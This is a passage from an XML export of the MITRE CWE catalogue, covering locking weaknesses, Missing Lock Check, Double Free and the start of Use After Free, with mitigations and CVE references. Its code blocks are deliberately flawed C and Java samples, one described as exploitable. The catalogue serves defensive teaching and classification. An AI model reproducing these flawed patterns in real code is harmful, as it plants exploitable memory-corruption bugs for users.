								                <Code>private ReentrantLock balanceChangeLock;</Code>
								                <Code/>
								                <Comment>// condition object to temporarily release lock to other
									threads</Comment>
								                <Code>private Condition sufficientFundsCondition;</Code>
								                <Code/>
								                <Comment>// method to deposit amount into BankAccount</Comment>
								                <Code>public void deposit(double amount) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// set lock to block access to BankAccount from other
										threads</Comment>
									                  <Code>balanceChangeLock.lock();</Code>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>double newBalance = balance + amount;</Code>
										                    <Code>balance = newBalance;</Code>
										                    <Code/>
										                    <Comment>// inform other threads that funds are
											available</Comment>
										                    <Code>sufficientFundsCondition.signalAll();</Code>
										                    <Code/>
									                  </Block>
									                  <Code>} catch (Exception e) {...}</Code>
									                  <Code>finally {</Code>
									                  <Block>
										                    <Code>// unlock lock object</Code>
										                    <Code>balanceChangeLock.unlock();</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// method to withdraw amount from bank account</Comment>
								                <Code>public void withdraw(double amount) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// set lock to block access to BankAccount from other
										threads</Comment>
									                  <Code>balanceChangeLock.lock();</Code>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>while (balance &lt; amount) {</Code>
										                    <Block>
											                      <Comment>// temporarily unblock access</Comment>
											                      <Comment>// until sufficient funds are
												available</Comment>
											                      <Code>sufficientFundsCondition.await();</Code>
										                    </Block>
										                    <Code>}</Code>
										                    <Code>double newBalance = balance - amount;</Code>
										                    <Code>balance = newBalance;</Code>
										                    <Code/>
									                  </Block>
									                  <Code>} catch (Exception e) {...}</Code>
									                  <Code>finally {</Code>
									                  <Block>
										                    <Code>// unlock lock object</Code>
										                    <Code>balanceChangeLock.unlock();</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insufficient Resource Locking</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure visibility when accessing shared primitive
						variables</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure that compound operations on shared variables are
						atomic</Mapped_Node_Name>
					          <Mapped_Node_ID>VNA02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use private final lock objects to synchronize classes that may
						interact with untrusted code</Mapped_Node_Name>
					          <Mapped_Node_ID>LCK00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Contribution Contribution_Mode="Content">
					          <Contributor>Martin Sebor</Contributor>
					          <Contribution_Organization>Cisco Systems, Inc. </Contribution_Organization>
					          <Contribution_Date>2010-04-30</Contribution_Date>
					          <Contribution_Comment>Provided Demonstrative Example</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Insufficient Resource
						Locking</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="414" Name="Missing Lock Check" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A product does not check to see if a lock is present before
					performing sensitive operations on a resource.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>411</Relationship_Target_ID>
					          <!--Resource Locking Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement a reliable lock mechanism.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1056</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not properly check if a lock is
						present, allowing other attackers to access
						functionality.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Lock Check</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="415" Name="Double Free" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product calls free() twice on the same memory address,
					potentially leading to modification of unexpected memory
					locations.</Description_Summary>
				        <Extended_Description>
					          <Text>When a program calls free() twice with the same argument, the program's
						memory management data structures become corrupted. This corruption can
						cause the program to crash or, in some circumstances, cause two later calls
						to malloc() to return the same pointer. If malloc() returns the same value
						twice and the program later gives the attacker control over the data that is
						written into this doubly-allocated memory, the program becomes vulnerable to
						a buffer overflow attack.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>666</Relationship_Target_ID>
					          <!--Operation on Resource in Wrong Phase of Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>675</Relationship_Target_ID>
					          <!--Duplicate Operations on Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>825</Relationship_Target_ID>
					          <!--Expired Pointer Dereference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>416</Relationship_Target_ID>
					          <!--Use After Free-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>123</Relationship_Target_ID>
					          <!--Write-what-where Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>891</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is usually resultant from another weakness, such as an unhandled
						error or race condition between threads. It could also be primary to
						weaknesses such as buffer overflows.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>It could be argued that Double Free would be most appropriately located as
						a child of "Use after Free", but "Use" and "Release" are considered to be
						distinct operations within vulnerability theory, therefore this is more
						accurately "Release of a Resource after Expiration or Release", which
						doesn't exist yet.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Double-free</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Doubly freeing memory may result in a write-what-where condition,
							allowing an attacker to execute arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Choose a language that provides automatic memory management.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that each allocation is freed only once. After freeing a chunk,
							set the pointer to NULL to ensure the pointer cannot be freed again. In
							complicated error conditions, be sure that clean-up routines respect the
							state of allocation properly. If the language is object oriented, ensure
							that object destructors delete each chunk of memory only once.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a static analysis tool to find double free instances.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code shows a simple example of a double free
						vulnerability.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* ptr = (char*)malloc (SIZE);</Code>
							              <Code>...</Code>
							              <Code>if (abrt) {</Code>
							              <Block>
								                <Code>free(ptr);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
							              <Code>free(ptr);</Code>
						            </Block>
						            <Text>Double free vulnerabilities have two common (and sometimes
							overlapping) causes:</Text>
						            <Block Block_Nature="List">
							              <Text>Error conditions and other exceptional circumstances</Text>
							              <Text>Confusion over which part of the program is responsible for
								freeing the memory</Text>
						            </Block>
						            <Text>Although some double free vulnerabilities are not much more
							complicated than the previous example, most are spread out across
							hundreds of lines of code or even different files. Programmers seem
							particularly susceptible to freeing global variables more than
							once.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>While contrived, this code should be exploitable on Linux
						distributions which do not ship with heap-chunk check summing turned
						on.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;stdio.h&gt;</Code>
							              <Code>#include &lt;unistd.h&gt;</Code>
							              <Code>#define BUFSIZE1 512</Code>
							              <Code>#define BUFSIZE2 ((BUFSIZE1/2) - 8)</Code>
							              <Code/>
							              <Code>int main(int argc, char **argv) {</Code>
							              <Block>
								                <Code>char *buf1R1;</Code>
								                <Code>char *buf2R1;</Code>
								                <Code>char *buf1R2;</Code>
								                <Code>buf1R1 = (char *) malloc(BUFSIZE2);</Code>
								                <Code>buf2R1 = (char *) malloc(BUFSIZE2);</Code>
								                <Code>free(buf1R1);</Code>
								                <Code>free(buf2R1);</Code>
								                <Code>buf1R2 = (char *) malloc(BUFSIZE1);</Code>
								                <Code>strncpy(buf1R2, argv[1], BUFSIZE1-1);</Code>
								                <Code>free(buf2R1);</Code>
								                <Code>free(buf1R2);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-5051</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Signal handler contains too much
						functionality (CWE-828), introducing a race condition that leads to a double
						free (CWE-415).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0642</Observed_Example_Reference>
					          <Observed_Example_Description>Double free resultant from certain error
						conditions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0772</Observed_Example_Reference>
					          <Observed_Example_Description>Double free resultant from certain error
						conditions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1689</Observed_Example_Reference>
					          <Observed_Example_Description>Double free resultant from certain error
						conditions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0545</Observed_Example_Reference>
					          <Observed_Example_Description>Double free from invalid ASN.1
						encoding.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1048</Observed_Example_Reference>
					          <Observed_Example_Description>Double free from malformed
						GIF.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0891</Observed_Example_Reference>
					          <Observed_Example_Description>Double free from malformed
						GIF.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0059</Observed_Example_Reference>
					          <Observed_Example_Description>Double free from malformed compressed
						data.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 8: C++ Catastrophes." Page 143</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Double Frees", Page 379.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>DFREE - Double-Free Vulnerability</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Double Free</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Doubly freeing memory</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Allocate and free memory in the same module, at the same level
						of abstraction</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Store a new value in pointers immediately after
						free()</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM01-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Free dynamically allocated memory exactly
						once</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Store a valid value in pointers immediately after
						deallocation</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM01-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Free dynamically allocated memory exactly
						once</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. start statement that relinquishes a dynamically allocated memory
							resource</Text>
						            <Text>2. end statement that relinquishes the dynamically allocated memory
							resource</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Maintenance_Notes, Relationships, Other_Notes,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="416" Name="Use After Free" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Referencing memory after it has been freed can cause a program
					to crash, use unexpected values, or execute code.</Description_Summary>
				        <Extended_Description>
					          <Text>The use of previously-freed memory can have any number of adverse
						consequences, ranging from the corruption of valid data to the execution of
						arbitrary code, depending on the instantiation and timing of the flaw. The
						simplest way data corruption may occur involves the system's reuse of the
						freed memory. Use-after-free errors have two common and sometimes
						overlapping causes:</Text>
					          <Block Block_Nature="List">
						            <Text> Error conditions and other exceptional circumstances.</Text>
						            <Text>Confusion over which part of the program is responsible for freeing
							the memory. </Text>
					          </Block>
					          <Text> In this scenario, the memory in question is allocated to another pointer
						validly at some point after it has been freed. The original pointer to the
						freed memory is used again and points to somewhere within the new
						allocation. As the data is changed, it corrupts the validly used memory;
						this induces undefined behavior in the process.</Text>
					          <Text> If the newly allocated data chances to hold a class, in C++ for example,
						various function pointers may be scattered within the heap data. If one of
						these function pointers is overwritten with an address to valid shellcode,
						execution of arbitrary code can be achieved.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>825</Relationship_Target_ID>
					          <!--Expired Pointer Dereference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
